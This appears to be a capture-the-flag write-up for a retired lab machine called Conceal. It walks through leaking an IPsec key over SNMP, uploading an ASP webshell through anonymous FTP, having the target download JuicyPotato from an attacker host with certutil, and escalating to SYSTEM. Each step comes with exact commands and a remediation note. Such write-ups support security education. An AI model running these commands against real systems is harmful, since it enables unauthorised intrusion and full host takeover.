Conceal
Summary
All TCP services on conceal ($TARGET) were hidden behind a host firewall that only permitted traffic arriving inside an IPsec VPN tunnel. The Simple Network Management Protocol service, left open with the default 'public' community string, leaked the VPN pre-shared key inside a MIB entry: a single unauthenticated UDP query bypassed the entire perimeter. With the key in hand, an IKE scan confirmed the exact cipher parameters and a strongSwan tunnel was configured, instantly exposing FTP, HTTP, and SMB.
The FTP service accepted anonymous connections with write access to a subdirectory physically inside the IIS web root; a classic ASP command-execution webshell uploaded there gave remote code execution as the low-privilege IIS account conceal\destitute and exposed the user flag. That account carried SeImpersonatePrivilege (a token right the IIS worker process commonly holds) which the JuicyPotato exploit converted into a SYSTEM shell by coercing a privileged COM server over a local RPC listener, granting full administrative control of the host and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path: how the box was taken
Exact commands 2
Confirm SNMP and IKE are reachable on UDP before walking.
$ sudo nmap -sU -p 161,500 --open $TARGETDump the full MIB tree; record the hex PSK found in the enterprise OID subtree: it is used in step 3.
$ snmpwalk -v2c -c public -On $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
Exact commands 1
Flags encode the transform: 5=3DES, 2=SHA1, 1=PSK, 2=DH group 2. A returned SA proposal in the output confirms these are accepted.
$ ike-scan -M --trans=5,2,1,2 $TARGETExact commands 4
Write the strongSwan connection definition.
$ sudo tee /etc/ipsec.conf <<EOF
config setup
charondebug="ike 1, knl 1, cfg 0"
conn conceal
keyexchange=ikev1
left=%defaultroute
leftauth=psk
right=$TARGET
rightauth=psk
ike=3des-sha1-modp1024
esp=3des-sha1
type=transport
auto=start
EOFReplace <SNMP_DERIVED_PSK_HEX> with the hex string recovered from snmpwalk.
$ echo ': PSK "<SNMP_DERIVED_PSK_HEX>"' | sudo tee /etc/ipsec.secretsBring the tunnel up; verify with 'sudo ipsec status'.
$ sudo ipsec restart && sudo ipsec up concealConfirm FTP, HTTP, and SMB are now open through the tunnel.
$ nmap -Pn -sT -p 21,80,135,139,445 $TARGETExact commands 2
Upload the ASP webshell anonymously; cx2.asp should be a standard cmd= exec shell such as cmdasp.asp from SecLists (/webshells/asp/).
$ curl -T cx2.asp ftp://anonymous:anonymous@$TARGET/upload/cx2.aspConfirm the shell executes and returns command output.
$ curl -sS -G --data-urlencode 'cmd=whoami' "http://$TARGET/upload/cx2.asp"
conceal\destituteFixDisable anonymous FTP write access and isolate FTP directories from the IIS web rootCritical
Exact commands 2
Read the user flag; expected output: <user.txt>.
$ curl -sS -G --data-urlencode 'cmd=type C:\Users\destitute\Desktop\user.txt' "http://$TARGET/upload/cx2.asp"Inspect token privileges; confirm SeImpersonatePrivilege is listed as Enabled before proceeding.
$ curl -sS -G --data-urlencode 'cmd=whoami /all' "http://$TARGET/upload/cx2.asp"Exact commands 3
Serve JuicyPotato.exe from my host; run in the background.
$ python3 -m http.server 9000Stage JuicyPotato to a world-writable path via the native certutil downloader; replace $ATTACKER_IP with your IPsec tunnel-side IP.
$ curl -sS -G --data-urlencode "cmd=certutil -urlcache -split -f http://$ATTACKER_IP:9000/JuicyPotato.exe C:\Users\Public\jp.exe" "http://$TARGET/upload/cx2.asp"Test the CLSID; output 'nt authority\system' confirms SYSTEM impersonation. If empty, try additional CLSIDs from the JuicyPotato CLSID list for Windows 10 build 15063.
$ curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c whoami" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' "http://$TARGET/upload/cx2.asp"
nt authority\systemFixRemove SeImpersonatePrivilege from the IIS application pool identityCritical
Exact commands 2
Run JuicyPotato as SYSTEM; the /c argument writes root.txt to the staging path.
$ curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\root.txt" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' "http://$TARGET/upload/cx2.asp"Retrieve the root flag from the staging path; expected output: <root.txt>.
$ curl -sS -G --data-urlencode 'cmd=type C:\Users\Public\root.txt' "http://$TARGET/upload/cx2.asp"Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control (a COM service, an RPC interface, a named pipe) then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 21/tcp | ftp |
| 80/tcp | http syn-ack |
| 135/tcp | msrpc syn-ack |
| 139/tcp | netbios-ssn syn-ack |
| 445/tcp | microsoft-ds syn-ack |
| 49664/tcp | unknown syn-ack |
| 49665/tcp | unknown syn-ack |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.